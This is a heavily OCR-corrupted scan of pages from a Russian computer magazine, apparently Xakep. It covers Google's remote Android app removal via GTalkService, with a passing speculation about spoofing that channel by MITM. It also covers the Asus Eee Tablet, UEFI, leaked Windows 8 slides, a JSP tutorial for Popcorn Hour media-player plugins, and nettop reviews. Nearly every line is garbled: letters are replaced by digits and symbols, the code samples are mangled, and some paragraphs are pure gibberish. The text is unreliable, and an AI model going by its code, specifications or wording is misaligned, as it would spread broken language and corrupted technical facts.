ливатьих. [1равда, обломавшись после установки' многие из юзеров
<пусть!шки>удалили' Ребята из 6оо9[е попросили ресерчера самого
удалить прилохения из репозитория' а сами' вероятно. долго охидая
подобвого слуная, наконец получили возмохность управлять миром.
А вернее' протестить возмохность удаленного удаления прилохения
со смартфонов пользователей. (ороне говоря' всем смартфонам бь:ла
отправлена команда : <удалить' нельзя пом иловать>. [1ользователям
при этом бь;ло ото6рахено уведомление' но кто х их читает? [амо собой'
такая возмохность прописана в правилах использования 0[. |о читать
лицензии скучно' а вотнто действительно интересно' так этото, как
работа ет тех нол о ги я.
Ёа самом деле' операционная система Ап6го!0 ухе давно поддерхивает
две командь!: пгм0уг-А55гт и !\51А|| А55Ё[, которь:е позволяют
0оо9[е не только удаленно удалять' но и устанавливать прилохения'
1вой дева йс на Ап0го!6 поддерхивает постоянное |6 Р/55|/|й РР'со
единение с серверами 01а|[ [ла-да' того самого чата' что используется
в 0па![) все время' когда утелефона естьдоступ в интернет. ['1ринем
Азраиле'|ехиии ряде других стран 3осточной
Б вропь:. 0днако | !папс!а[|!гпез пишет' что
представи ]ели американс } их спецслукб крайне
недовольнь! таки м раскладом. (ак пояснили кор-
респондентам Р1 сами п редставители спецслухб,
!₠0 - один из главнь;х каналов о6щения для
многих пресцпнь;х групп из Бостонной Ёвропь:.
1аки м образом, переезд серверов ! 80 из ₠ |]_1А
мобильная 0[ автоматически переподключается к серверу в с]|учае
обрь:ва связи и постоянно отправляетпинги на сервера 0оо9|е.3тот
ка н ал связ и п озволя ет 0оо9 [е отп ра вл ять си стем н ь:е сооб ще н ия твое му
девайсу. 0тправленное яерез 0|а[[5егм!се соо6щение непременно
попадает на кахдь: й смартфон. (а к только 0оо9 [е отдает команду
!\5тА1_|-А55гт' полунивший сообщение смартфон на Ап6го|0 скачи-
ваетАР( дистрибутив с программой и инсталлируетее. 71' наоборот,
получив команду РЁй0!г А55гт, система удаляет прилохение' если
оноустановлено- 1акая возмохность' с одной сторонь ' хороша:6оо9[е
мохетоперативноудалить всю появляющуюся малварь' Ёо сдругой сто
ронь!, а что' если кто-то смохет реализовать й!1й атаку на 55|-соеди-
нение конкретного телефона до 0[а[}<5егу:се и проспуфить сообщение
! \15тА!|_А55гт, чтобьт зал ить на телефон какую- нибудь за разу? Али
вообще до 6раться до са м и х сер ве ров 01а [[5е гм! се и отп ра вить ко ма нду
всем сразу? Бот где будетхесть!
[, тшл:::3ь! Ёс|!р5е Ргеу|етш
Репоуе0 [гоп уошг рпопе.
5:40 Р|т4
А поосз{гар
Репоуе0 [гоп уошг рпопе.
5:40 Р]т4
в Росси ю затруднитдля амери канцев контроль
над перепиской пресцпников' [топ. какой еще
контроль? [тало бь!ть' не зря говоря1 нто без
шифроваьия в аське никуда? 8дейс ! ви !ельности
для чтения логов ребятам не нухнь] сами серверь!
!80' та к как этот воп рос мохно реш ить на уровне
интернет-провайдеров' Атеперь серверь!, скорее
всего' переедщ|
) о13
BemeP34 for Journal-plaza.net
нЁ0Бь!чнАя тАБлгткА 0т А$ш5
['1ланшетнь:х [1( на рь:нке ста-
новится все больше и больше' а
ух вь1ход Рас1 и вовсе произвел
настоящий фурор. А как известно'
чем сильнее на рь!нке конкурен
ция' те[1 нихе цень ' и тем больше
шансов' что компании начнл
вь:пускать необь!чнь е и интереснь!е
девайсь:, хелая привлечь поку
пателей' ]ай ваньская ком па ния
Азшз традиционно дерхит руку на
пульсе на вь ставке 8опрш[ех
Азшз бь л представлен гадхетА5[!5
[ее 1аБ[е|' которьтй дахе нельзя
назвать планшетником в обь:чном
понимании этого слова. Ёее 1аб[е{
это' скорее' цифровой блокнот'
построеннь;й на }Ё1-матрице с 64
градациями серого. 3десь нетдахе
под'вет! и ]а|о р.гь8 дю/мовь /
дисплей с разрсш ением 1024 х 7 6$'
тачскрин чувстзительностью 2450
6р!' и страниць: листаются со ско-
!ос'ою0 ! сег 3ремяавто+омнои
работь устройства равно примерно
1 0 ча са м ' Ёее 1а б [е1 ос на щается
слотом гп]сго50, 2 мегапиксель
ной камерой' 3'5 мм вь!ходом на
]аушЁ/-и [:м^е;г ' вс_!ое]ьо!й
медиаплеер)' и' конечно' стилусом'
которь:й сильно напоминает перья
от пл а н ш етов \:!асогп.
[1риятно радует и анонси рован
ная ценаустройства Ёее
1аб[е| обещают вь пустить
в продаху осенью по
цене ] 99 299 мертвь:х
п рез иде нто в
3 России нашлось 40 ть сяч человек' которь!е пользуются 1виттером и решили
почитать' чт0 в не}'] б':дет писать наш продвинуть й президент. [1ервьтй хе твит
с ошибкой: .8сем лривет| ! в 1виттере и это мое6 первое сообщение|"' зато
оставленнь й: в офисе самого 1ш|{|ег'а. [1осещение вь сокотехнологичнь!х ком
паний {а [:1едведев побь:вал еще и в Арр[е г: [ зсо] состоялось во время поездки
президента в (реь:ниевую долину. [1ринина понятна: раз ух собрались строить
нашу собств-"нную 51[:соп !а[[еу в подмоск0вном [колково' то надо хотя бь понять'
на к0го рав[]яться. 0бидно хе будет' если бюдхет уйдет' условия для отмь!вания
денег будут создань , а ни одного достойного стартапа не появится. [,4нициа
тива прав'льная. !вахаемьтй !'мгатрий Анатольевич' вь! обращайтесь к нам за
помощью [4ь: г: сами советом помохем, и ребят молодь х посоветуем' Атам' того
и гляди авт0мат!]зируем поликл']н']ки' [ электронное правительство зара6отает.
!аши читателг: очень способнь е1
тш|тт[п.с0м/кпЁм [| ш пш$$!А
,г1юбопь тнь ми сообрахениями поделился с миром крупнейшии производитепь
материнских плат й сгоз|аг{й5 ). ['1о мнению представителей' хелезного' гиганта'
3 05насовременнь!хкомпьютерах-этоатавизм'которь!йскородолхенраствориться
ванналахистории.3аменустаромудобромув05микростаровць:видятв[_)ЁР загруз
чиках' которь е сама [,45! начала продвигать еще в 2003 году' вь пустив плать: с [[!с[
8105наборц.|_]ЁР {|_.]пуегза[Ёх|епзБ|еЁ!гп.:шаге!п1ег[асе'!ниверсальнь;йРасширяе
мь:й71нтерфейсдля[1рошивок) дальнейшееразвитиепроекта!п[е[подназванием
Ё!1'которь:йбь;лпредназначендлятого'чтобь наделить3!05дру}ественнь!мдля
пользователяинтерфейсом'атакхерешитьмногиедругиепроблемь!'типичнь!едля
['1(. [обственно' первь1е материнские плать! с ![[! будут основань: на нипсете 5апс1у
3г!69еот!п1е[ивьпущень!вовсехкатегориях:отбюдхетньхдоБ;9Б-еп6.[1лать будд
вь пущень! в конце этого года и в нанале 201 1 ' [1ереход на (-]ЁР! становится куда более
вахнь м, так как это открь!вает новь!е возмохности для хранения даннь х. |е такдавно
компания5еа9а[еофициальнозаявила'что[-]ЁР! вахноетребованиедлятого'нтобь:
загрузить ['1( сдиска размером более 2 16.0сновная разница мехду 8105 и [.][[! в том'
ято первь:й написан на ассемблере' а второй на [' |о перейти на него отказавшись от
8!05'а,нетакпросто. БольшинствовстроенньхР0йдовольномаловместительнь!'так
чтообьтчнь:ематеринкинельзяпростоперепрошитьна[.]БЁ'которь;йзанимает6ольше
места. (томухе' те многочисленнь!е фишки для биоса вроде гхрге55 оа|е отА5!5'
п оз вол я ющего за груз ить п росте н ькую 0с через па ру секунд после за пус ка ком п ьюте ра '
придется перепись вать заново!
|
12в гб _ н0вь!й рек0рд в о6ласти пр0изв0дства флеш-памяти, устан0вленнь!й
к0мпанией 1оз]т!!а
чг-Рг3-1Ри г0дА в!0$
нг Будгт
> о14
*э.,-'е1'ч1т
х^кЁР 0в /] з97 1 0
BemeP34 for Journal-plaza.net
утгчкА сгкРгтн0и инФ0РмАции 0 ш!ш00ш$ 8
итальянские хурналисть с портала у1и/ш и'/ пс0и"/5е[[е соп] каким_то
немь!слимь|м о6разом сумели раздобь}ть секретнь е слайдь \4'!сгозо[|'
предназначеннь!е для внутреннего использования. Ёо самое главное -
в презентации приведена информация о планах [т4'!сгозо[{ по разработке
\0|п6оииз 3' Большинство информации - это маркетинговая ла6уда об
изменении бренда и приблихения к подходуАрр[е,,3то просто рабо
тает,. 0дна ко некоторь!е детал и о некоторь!х технических новшествах
все таки есть:
1. ['1ростое восстановление системь!' 8 !!!п6ошз появится инструмент
!!!п6оууз Ресомец позволяющий 6ь1стро откатить недавние изменения'
если пользователь что-то напортачил. Более того. появится возмох-
ность "Резе[ !!!п6ошз, бо1 [еер гпу з[ш[[>, которая позволит бьтстро
переустановить саму винду, при этом оставит без изменений документь|'
персональнь!е даннь;е' профайль пользователей' Бероятно' появится
и долгохданнь:й магазин прилохений Арр 5|оге' [разу после переуста-
новки системь! мохно будет бь;стро заинсталлить все ранее купленнь!е
п ро ги.
2. Бь:страя загрузка \г1/|п0ошз. 8от и 9!сгозо{1' наконец то, заметил, что
винда грузится до неприличия долго' это по нь1нешним-то меркам.
8место о6ь чной текущей схемь процесса загрузки компьютера, состоя-
щего из Р05] [часть' которую грузит материнская плата], инициализа-
ции системь! [лрайверь;, сервись:) и загрузки пользовательской сессии
предлагается ввести комбинированньтй вариант загрузги - "|о9о1{ +
Ё!бегпа1е 8оо1>.0бщий смь сл втом, что6ь: не вь;ключать к0мпьютер
полностью' а постоянно использовать особь!й вид гибернации' которая
будет <эшировать большую насть элементов системь и бь:стро загру'
хать ее'
3. |овь:е системь: авторизации. 0дной из хивь:х и понятнь:х опций'
вероятно, вставленнь1х в слайдь: для каких нибудь не сильнотехничес
ких менедхеров' я вля ется визуал ьная а вториза ция. ( моменц вь: пуска
!\7 !п6ошз 6' а он планируется не ранее. чем черездва года' большинство
компьютеров и нощбуков непременно буддоснащень: веб-камерой.
!ухно заглянрь в камеру - и программа залогиниттебя в систему' |1ффф.
3тоухе не замашки по поводу интеллекцальной 0[ \г!!пР5, а так' пустячок'
которь:й ухе сейнас мохно реализовать с помощьюдополнительно ['10' Ёо
тл опятьхе напоминаю| никто не гарантирует' что эти слайдь! - не фейк.
ш]пао\!5 песоуе1у
(Боозе а ро!п{ !п {!пе {о ге{цгп уоцг сопрц!ег1о
0п6о гесеп1 с}:ап9ез о::!у
) &езет !й'!пс!ошз, бш1 [еер :ту з1ш|| ь
сапсе!
--| ]-@
^/]>!д)
!п5р!г!п9 !ппоуа1!оп . Ре.э.51еп! РеЁес|!оп
г^(
||],
!!
ег0 беопр0в0дн0г0 к0мф0рта
!
] н. требует опециальнь|х 3наний!
| Бь:страя наотр0йка беспр0в0дн0й сети и !п|етпе|
!тилита А$!!$ Ё7$е1шр/ \г!Р$ \'г1/!ааг0 - настр0йка 3ащищенн0й беспроводной оети
и !п1егпе1-с0единения за 2 минуть: с предустан0вками для пр0вайдер0в более
ъ-!;
\ ''.-* 3
':.1
пт_ш13ш
мн0г0функциональн ь!й
беспроводной
маршрути3ат0р в02.'1'1 ш
1''
а
{ универсальн0сть и функциональн0сть!
!! подключение ]!$Б уё|ройБтв
А5ш$ г7 Ё!!е $[аг!п9 - личнь!й сетвв0й файл_сервер о д0отуп0м чере3 !п1егп01
А$ш$ г7 Рг!п1ег $[аг!п9 - принт-сервер для п0ддержки 0дн0временн0й печати
и сканир0вания
шшш.а$ш$.]ш [арантия 2 года [орятая линия: 8-800-1 00-2787
BemeP34 for Journal-plaza.net
] | дмитрий ленский
!нимся 90.3давать плагинь| для медиаплеер0в
Рорсогп1\'
14меть 0тдельнь!й девайс для пр0иг-
рь|вания Ё0-видео - 0тличная идея.
8о-первь:х, 0тпадает всякая нео6ходи-
м0сть ра3мещать к0мпьютеР Рядом
стелевиз0р0м и включать ег0 каждь!и
раз' как 3ах0чется п0см0треть н0вь!и
фильм. А во-вторь!х, с0временнь|е
[!0-плеврь| являются весьма функцио-
нальнь!ми устройствами и спосо6нь:
зд0р0в0 о6легчить жи3нь.
получи в возмохность переходить по созданнь!м ссь!лкам. Ёап ример, есл и
ть! задумал сделать п рилохение для прослуш ива н ия [!ме_веща н ия радио-
станци й, код будет п римерно та ким :
<а пге'="ьсср : / /ш01-сп01 . акасо5[геап. гц : 8000 /
з]1уегта1п48.прз'' аоа>серебряный дохдь< / а><Бт>
<а |ге|="||[р: //}тоа6саз[02.5[а!|оп.гц7с'п'' аос>огм
</а>
1ег "ао6" тр указь!вает на то, что это аудио-источ ни к: аоа = Аш6!о 0п 0егпа п0
[аудио по за просу]. 8 слунае' если ть! указь!ваешь на видео- или фото-аль-
6ом, этоттегдолхен 6ь:ть.уо6, или .ро0' соответственно.
[!уть в реп0зит0рий
.[дя разработки прилохений, которь!е хочется разместить в йедиаБаре'
п}ть несколько отличается: по сли, тебе нухно сделать сай1 которь: й будет
генерировать понятную 6раузеру.['1опкорна> Ё1й|-разметку йспользуе-
мая технология мохет бь:ть л ю6ой: начи ная со статин нь:х Ё|\4' |-файлов и
за ка нчивая л юбь! м популярнь!м шеб-фреймворком ' \4едиа Бар работает на
базе технологии АрасБе 1огпса| - "}А!А- базе6 веб-сервера' слуха щего для
работь: с!5Р-прилохениями.
фя разработки плагинов по этой технологии есть специал ьнь:й 50 (, кото-
рь: й вкл юнает в себя ра6отающи й пример "йедиапортала> с нескольки м и
плагинами и документацию разработни ка.
фя экспериментов по созданию новь!х плагинов первь:м делом необ-
ходи мо установить на свой компьютер Арасбе 1опса1' предварительно
убедившись в на личии !ауа-машинь:. 8сетребуемь;е файль: лрисрствуют
на нашем 0!0, а установка достаточ но п роста: {опса[ поставляется в
виде а!р-а рхива' который надо просто распаковать' по-' "" 'ж;:]:.', ,,,
,,+:, !
к0дпнг п0пк0рна
Ёапример' практически лю6ой полноценнь:й Ё0-плеер либо по умолнанию'
ли6о после установки кастомной прошивки способен качатьторренть!'
работать с сетевь! м и ресурсами, показь! вать видео с }ош1ш бе и т.д. ! плееров
Рорсогп1! естьдополнительная кргая возмохность, которую оценит
любой [-человек - под него мохно самостоятельно писать плагинь! и
дахе свободно размещать их в общедосцпном репозитории "йедиаБар"'
(стати, сейчас ком пания 88( проводит кон курс: ка)у.дь й автор достойного
прилохен ия получит в пода роктелевизор 8 3 (.1а к ято у те6я есть хороши й
ша нс не только потренироваться в кодин ге, но и вь!играть себе новь;й телек.
[лавнь:е тезись|
[амое главное, что нухно осознать - этото' что по своей сри <плагин>
является о6ь:чнь;м тмеб сайтом, адаптированнь!м под экран телевизора.
Ёа медиа плеере Рорсогп уста новлен специальн ь: й !*!пшх на борц и вся ви-
зуал изация <плагинов> осуществляется с помощью встроен ного браузера
5уабаз пу!8ох 8гошзеп1 которь:й умеет ото6рахать Ё1й|-контент и дахе
обеспечивает базовую {неполную) поддерхку [55 и 3ама5сг! р1' 6нитать его
пол ноцен нь;м браузером нел ьзя: когда я поп ь!тался зайти с его помощью
на ! ндекс, дева йс ушел в ноцаун, и мне помогтолько ребр. 6обственно'
он и не для серфинга: 5уаьа5 вгои/9ег предназначен для отобрахения
специально созданн ь!х под него стра н ичек, которь!е и распола гаются в йе-
диаБаре' 6айть:-плагинь! мо}т разрабать:ваться с использованием любой
технологии, будь то РЁ Р' А5Р . \ Ё_|, Ру|Боп ' ЁшБу ил и !5Р Ёдинственное
ограничение - клиентская разметка: браузер дахе использует со6ствен ное
расш ирение !1й |, допол няющее стандартнь!е теги новь:ми свойствами.
6амь;й простой вариантсоздания <<плагина>для Рорсогп1! вь:глядиттак:
создается Ё1й|-файл со ссьплками на медиа-источники в интернете, файл
запись!вается на флешку флешка вть:кается в.|опкорн>>' после чего <пла-
гин)'становится досцп нь!м с пульта управлен!й и ть! мохешь его запустить'
) о16
*
д)
BemeP34 for Journal-plaza.net
с помощью специального скрипта 5[аг[(]р.
ба| в винде либо з1аг1шр.эБ в *п!х. 3 \:!!п0очмз
мохет потребоваться установить переменнь!е
окрухения.!РБ Ё0йЁ и !А!А Ё0йБ так. чтобь:
о н и указь}вал и на прь до .)ама ' [1осл е за пус ка
1огпса| откроет 8080 п орт [ по умолча н и ю]. н а
котором 6удет висеть веб-сервер'
Б составе 50( есть работающий пример ме-
диапортала с несколькими плагинами. |]тобь:
за пустить его, достаточ но пе ре н ести па п ку
Р00| из архива с 50( в папку |огпса|\ииебаррз'
переименовав ухе имеющийся там каталог
прилохение' которое 6удет показь!вать наши
хакерские видео-уроки. ['1рилохение будет
подгрухать и нформа ци ю о6 уроках из !,й ! -
файла. формировать<<меню>>для вь бора роли-
ка и давать ссь лку на воспроизведение урока.
[1ервь;м делом зафиксируем формат' в котором
будем хранить и передавать информацию о
доступ н ь!х уро ках:
<?хп] уегз|оп-''1
епсо0|п9=''ц1р 3''
< !6>
<х:5е| уаг="|а"
5е1ес|-"5[г|п9 (@|о)''7>
<с:5е[ уаг="цг1'' уа1це=''ь[[р: / /6:т0.
ха|ер. гш,/т!0еоса3с /$ { |о} .пр4''/>
<х:5е[ уаг-''[||1е"
5е1есг="5|г|п9 ( @[|[1е)''7>
<а ьге|=''${шг1 }" уо0>
<!п9 5гс="ь[[р:,//6уо.хакер. гш7
|па9еэ/${{0} . ]р9'' ьогсег="0">
</а>
<ь( />
<ь2>${с]с1е}</ь2>
</!о>
<с:|! сез|=''${| %4 == 61''1
< / [т><[(>
</с|\г>
<с:5ег уаг=''''' уа1це="9 { 1+1 } "/>
< /х: {огвась>
(ак видишь' весь <код> тут представлен в виде
тегов: смешань! изнакомьетебе |1й[ теги'
и какие-то новь!е, непонятнь:е.3ти <непонят-
нь:е> входят в библиотекутегов..)51| и отлично
описань! на любом сайте по |ве'
(ратко пройдемся по коду и используемь!м
..]5-[| -те га м:
. <с:са{сь> обра6ать;вает исключения'
. <с:!прог{> счить!ваетданнь!е файла в пере
менную.хп[, - обрати внимание на указание
правильной кодировки и на то' нто файл мохет
легко бь:ть размещен на удаленном сервере.
. <х:рагсе> парсит !, й|-даннь:е'
. <х:5е|> полунает вь:борку даннь!х и помеща-
ет ее в массив даннь:х у!0еоз.
. <х:{огвась> - цикл по !,1т4|-даннь;м.
. <(:![> - обь нное условие'
[мь:сл кода очень и очеЁь простой: с!и]ь!-
вается [й!*-файл, вь:бираются все записи
"!|егп" из "у!0ео>' и в цикле по ним вь!водятся
облохка ролика' название ролика и ссь!лка на
проигрь вание ролика. ['1ринем нерез кахдь:е 4
записи вставляются теги ./|г'.1г> для перехо-
да на новую строкутаблиць:'
!ля того' чтобь: твой плагин стал доступ-
нь м с главной страниць! нашего тестовго
медипортала в локальном 1огпса{' нухно
добавить соответствующую запись в файл
ро г|а ['хп[:
<вегу1се папе=''хакер" !6="хакер"
ое3с=''наскег' з у{0ео",/>
Результать:
3 резуль:а:е наших манипуляций мь полу
чили прилохение' счить!вающее даннь1е о
доступнь!х роликах из хм| файла [возмох
но' удаленного)' на глядно отобрахающее
эти даннь!е и предоставляющее возмох
ность проигрь!вания этих видео. в приве-
денном коде бь:ла опущена вся разметка
и заголовки..]5Р-файла, полная вефия
прилохениядоступна на 0у0.= {'
0"
Р001. ['1осле этого, о6ратившись браузером
по адресу ь11р://[оса[[:оз1:8080' ть! увидишь
гестовое прило^ение из 50(, к0]орое мохно
менять и добавлять в него новь1е плагинь:' 3тим
мь сейчас и займемся.
[о6ственнь!й плагин
Разработка собственного плагина начинается с
создания новой '']апки внутри гаталоп а зегм!се.
3атем нухно создать файловую струкцру пла
ги на ' сос 'оя щую и з с ледующи х ди ре кто ри й :
'па9е
|па9е 1280х720
ра9е
ра9е-128ох72о
[ь!!пь
хп1
Бсе папки имеют говорящие названия и'
думаю. гонятно' что в них лехи ! : в !па9ез -
картинки проекта' в ра9е - верстка' стили и
само прилохение' в {Бцпб иконки плагина, в
хгп[-даннь;е.
0брати внимание, что верстка и графика
представлень! в двух вариантах под разнь!е
разрешения; это нео6ходимо для поддерхки
разл ич нь!х телевизоро8 '
8,ачестве примерадавай сделаем простое
;
х^кЁР 0в /1з9/ 10 *"
[
<|сеп !ё="1'' ['с1е="живой РоР''/>
<|сеп |0="2'' [1с1е="извлекаем
конфтаг и3 то!з"/>
< /у1сео>
3тот файл мохно сохранить под именем м!6ео.
хп[ в папке хгп[' а мохно хранить на удален-
ном сервере никакой разниць!.
йдем дальше.0сновьой файл плагина -
!п6ех']зр, он будет входной тоцкой пригохе-
ния. !5Р-файль! представляют со6ой нечто
очень похохее на лю6ой шаблоннь:й файл:
смесь ![й| и управляющихтегов- Бслить:
когда нибудь создавал ша6лонь! для любой
системь! типа Раз1 1егпр[а1е или 5гпаг1у то ть:
бьтстро разберешься - тут все очень похохе.
[1риведу и про. оммен-ирую сокращеннь:й
пример !п6ех.1зр нашего прилохения:
(с:са[сь уё! - е] (ог /
<с: |прог[ уаг=''хп1 ''
сьагвпсоо'п9="ш[{ 8" цг1-
"ь|[р : /,/ауа. ха(ер. гш:т|0ео. ш1''/>
<х:раг5е уаг="у|6ео" сос=''${хп1 }''7>
<х:зе[ уаг-"у10еоз"
'-1-61="$м10ео / / \сеп'' / >
</с: саг-сь>
.с:5е[ уат='']'' уо1це '']";.
1 <х: 'огвась зе1ес|=''$у!0еоз"
уаг5га{1]5=''5''>
>о17 1
BemeP34 for Journal-plaza.net
{*ф'
[г]тгл7г]
:'' э
,ч/
/1,."
!!:,
}}
т
н
г
г
ст
тт
0п0в
[лавная фишка нетт0п0в _ 6езусловн0, размер. [!рактинески п0лн0ценнь|й к0мп в
виде к0р060чки 15х15 см _ эт0 супер! 1ем 6олее, чт0 пр0изв0дительн0сть с0временнь!х
нетт0п0в заметн0 вь!р0сла, и 0ни 0тличн0 п0дх0дятдля ве6-серфинга, редактир0вания
д0кумент0в, в0спр0изведения мультимедиа-к0нтента, включая }!0-видео. ]т4ногие
умельць! исп0льзуют ихдаже для х0стинга в качестве нед0р0г0й альтернативь! у0$,
ра3мещая со6ственнь:й девайс на к0л0кейшене. 8 о6щем, нетт0п - штука клевая.
мБт0дикА тгстиР0вАния
!,';;:;огг; чтобь т;о;:ног; Бсес]0ронне0цен1]гьпрсдс1ав|0ьнь1|]Ё |.]сг!'
1]ст|о] г,гиг. разработалг:|']сто.1 ][! ргптп{:г1;!||1с|:3г111 Ё ч|с-ь!:се!!х
особс+ ; + :ост; ; |а псрвот; 1/осте' (оЁ]сч 1 ]о хс' бьтлг: ра:;: ;с:обра: 1] ь о т|с
'0вь е у1 '!,1!!]1 ь . |ак, обш1у+о про'!]|;0д{]тс'1ь1]0с | ь 1 ес| []!,\'/е[1ь } } 1 р! й|' Ё
г]ь п ровсрял 1 ] . г1о['1о111ью коп: т ,ттекс:нот о бен ч [1а р ка Р1] |';]а г['[]5' которь г;
оцс|]|]в]стскоростьработь;всойсг;стот.:ь;вцсл0[1'(рот.;отого [1ь ]апус
калр; 3[[т,]аг}<03г: 3!йаг[06длпоцс: [1].}оро.т1]р:6этг гр:;ф11-1;61'61;1
1]одс|]сге[1ь не;то:а ,]ля оког]]атсльного |)е1!ен1]я:.:это воп1эог:а |в,:е
о.]. .0.л !! р| . о!!оо ! !'ть'10'ол.-"'| " ''|' ']
тсстсг1о[]0щь10Ёат'[гу2. 1 ]ообошлосьг;бс.]трад1.]!11.]о1]1 5]тсст0[]
) 018
5орсгР! г; бст::п.:арка0ее[|:епс|-: !(рош:онатру]|!] 1].1]|]оц!сс0р|]11а[]']||,
он|1и!]].р.снь сщ.1,] ]0[] ч10)1о|]о|1]0г)о(;]]ьва101 |].]з111]цу[]с)(дудв!х
[] ./|ноядс|]1]ь[11]про11сссо1);[1т: п1е[А1отт. 11оп:г;г;орезт;:ьт;:|0в1ес1а
|];,|]тог081,/|о0цо1](у,]с1р0йс|ввл::ял::гтдругт:оф;:<тор' 3то1];]л1]ч!1с
ог]т1]чес{о1о1]|]1]вода -а(к]кЁ]ес[|01|]янавсев0]|.1охн0с1|]1]н1ерне1:{]
вне1]н!];(жес1к1]):д1]ск0внт;к;онот:обт;рается01менягьк!]ллск1ит:0!!
|]11ок1]]п(ул!] \с!]]!]01]1]ь:д1]с(ов 0брат;1;лт:[/ь Б1 !][]а1!1]с1]1|а\/ста,1]ов
]101]1|ую опсра,ц1]ог]1]у1о с11стс[]у' так как нст тот; боз 0[ г:;ти; с 1ока ч 1о 1]0
.чснь 11|][]вь чно[; \.А/1пс]оц,.-. 7 ; о 1 Б | / 1] ьдё ]е[ о не [ а { ]ц) 1] г ще од11н
<р::тсрт:й <оторг. [; нап::: строг0 о|(|н11Ёался _1то шуг], 1]здав.]с[ !, 11
ус; ройствог;
хАкБР 08 /]39/ ]0
BemeP34 for Journal-plaza.net
-
30 000!
т0шЁп !0ш
тгхн ич гс ки ! хАРАктЁРи [1!{ 1(14:
0(: \^/] \00\^/5 7 н0м г Рпгм]|_] м
[!/!А1Ф0Р}.'|А: \у 0 А !0\
[!Р0!-|Ё([0Р: ]штг| Ат0м \230' 1 6 ггц
03}:2 |Б 00п2 [мАксимум з гБ]
ЁА(0!-|]4]Ё/!й: Ё00 320 гБ (5400 0Б./мин]
|-РАФй(А; \у 01А !0ш 16гг0псг 9400]
38}}(: 2_(АЁА.| ьнь1й пЁА|тЁк А|с662
₠ЁтБ: ] 0/1 00/1 000 мБит/с
РА3БЁйБ!:6[ [-]зв 2.0, п.]45, 0у!
комплЁктАци9: |1 0А[тА3 (А, с истг мА кРЁ []л гн ия м 0 н ит0 Ру
АдАпт[Р питАния
РАзм ЁРь!' }ч{]т1: ] 70\'1 50!20
]!! ]!]: ппп
|ебольшой неттоп от компании со смешнь м названием 30 0оо!. [1роиз
водитель решил порвать с прошль!м и установил на него новейшую
операционную систему!!!п6ошз 7 |опе Ргегп!цгп' так что если ть! стре
мишься ко всему новому' это будетхорошей новостью. Ёе стоит бояться,
что маль ш ее не потянет' так как он построен на платформе \у!0!А !0\
и обладае: дос !а !оцно вь согой 1роизводи_ельностою' .оторой хва'и !
и для воспроизведения видео Ё0-качества, и дахе для многих вполне
современ н ь!х игр. [1 роизводител ьность - это тепловь!делен ие, поэтому
устройство оснащено вентилятором' но шума от него очень гиало. ймеет
ся порт 0!!.
.
А вот разъемом [10й! производитель своедетище не оснастил. 3енти-
лятор необходим, но все таки' если прислушаться, шум от него есть, да
и греется даннь!й неттоп довольно существенно' 0тсутствие какой-либо
встроенной беспроводной связи мь] считаем существеннь!м недостат-
ком этой модели'
хАк₠Р 08 /] з9, 10
п3600
Асгп А$Р|пгпгу0
тЁхн и ч Бски Ё хАРАктЁРи[1!,{ [14:
0(:'тг/! \00$/5 ! 5тА !0м Ё Рпгм1|.] м
|-1/|А[Ф0Р}'{А: \у 0 А ] о \
пР0цЁсс0Р; !\тЁ|Ат0м 2з0 ].6 ггц
03}:2г500п2{мАкс 4гБ]
ЁА(0[!}4]Ё.г!й: н 0э 1 60 гБ {5400 0Б./ми н]' кАРд э|']д:э 1 з- 1 [з!]
50 1] с/м |\1 с]х!/м5/|,] з Рп0]
|-РАФ],1(А: \! 3 А 10\ |6гг0псг 9400]
38}(: РЁА|1!( н 0н 1]гг1\]1 0\ А|_]0!0 7.'1
(₠1Б: \! 0 А \г0псг ]0/] 00/]000 мБит/с,ш]-г! в02'] 1 в/6
РА3БЁйБ!:6| [.]5в 2.0, в5АтА п.-]45, у0А [0 5[1в] н0м1
к0м плвктАци9: |] 0]]|}А3 (А' с и ст[ мА кРгпл гн ия м0 н и т0 Ру'
АдАп1 гР 11ит/\ния' (,1АвиАтуРА' мь]шь
РА3йЁРБ!, }"!й: '1в0х1 80хз0
]]]!!]]]пп
никто не спорит' что покупать в офис компьютер' которь:й подходитдля
домашнего использования - это крайне растояительно.,[,ля него нухно
специальное устройство, такое' например' какА[[Р Азр!геРеуо Р3600.
['1есмотря на небольшие га6арить: (нтодля офиса естьтолько плюс] этот
непоп построен на платформе !0\ от \!!0!А' нто о6еспенивает ему
достойную скорость работь;. [тоит он недорого' что' опять {е' является
преимуществом' причем не только для офиса' на борту (реально сбоку)
имеется шесть портов 053' разъемь е5А1А и Ё0й!' а такхе слотдля
карть: памяти. ! ля связи с внешним миром предусмотрень; гигабит
нь;й сетевой и ![!-Ё! адаптерь. 1х4ощную {для неттопа, конечно] систему
охлахдеРия поч ! и ]е сло!шчо.
!
(онечно' неттоп этот мохно не только в офис ставить. !о дома вместо
установленного здесь 0-5!8 хотелось 6ь видеть порт 0!1 ' а такхе
оптический привод' !еттут и оптического вь!хода для звука. Ёще один
минус это подставка' вернее то' + ак на ней неттоп дер' ится. [валить
его мохно дахе неудачнь]м дви Аением мь шя и' таг нто будь осторохнее.
1 2000 ру6.
) 019
BemeP34 for Journal-plaza.net
А$п0ск |0ш
330_в0
тЁхн и ч гски г хАРАкт[ Ри [1],1 (]4 :
0(: г: [|
[!/|А1Ф0РйА: \! 1]1ц 0|']
0Р@1[Ё₠(0Р: \ 1 ;1,\1[]['.4.']3!] 1 о 1 |1-|
03}; 2 |Б !0п2 1мА(с',] г Б)
ЁА(00й1 Ё.г'|11: н1]0 з20 | 5 [5д|т_] 0Б 1|\]1,'1|]] в0 с0мв0
|-РАФй}(А: шу г] А ]0|\] [(]гг('п(]г:941_]!'])
38}(: РЁА!1Ё|( |]1сн |]ьг п11]0{:] А1_]0 0 5 1
(Ё1 Б; \т/ г]]А |\ г0псг 1 0/1 0о/] 0!']0 м 5ит1с
РА3БЁйБ!;6| []5в 2 0, п.]1+5 у(]А [|]-51_]в]' н0м1' з/Рп г
ко м пл Ё ктАци9 : А.!А |] {| Р п и тА 1]'''] я п 0дл 0х (А г1 0д (0 Р г1 у|]
РАзмЁРь!' }'{}'{; ] 95170[ 1 8о
] ]!]! !!] ] п
Ё сли ть; являешься счастливь!м о6ладателем большой коллекции филь-
мов, музь;ки' фотографий'да и всего прочего' записанного на оптические
ди с ки, и не соби раеш ься отказ ь! ватьс я от н ос ителей та ко го ти па, - этот
Ёе поп создан сгециальнодля тебя.
3нимание - в него встроен привод 3[п-Рау чем мохет похвастаться
далеко не кахдь:й настольнь й компьютер' 1ак что, по сути' перед нами
готовь й и крайне мощнь й видеоцентр' на что намекаюти порть Ё0й! и 5/
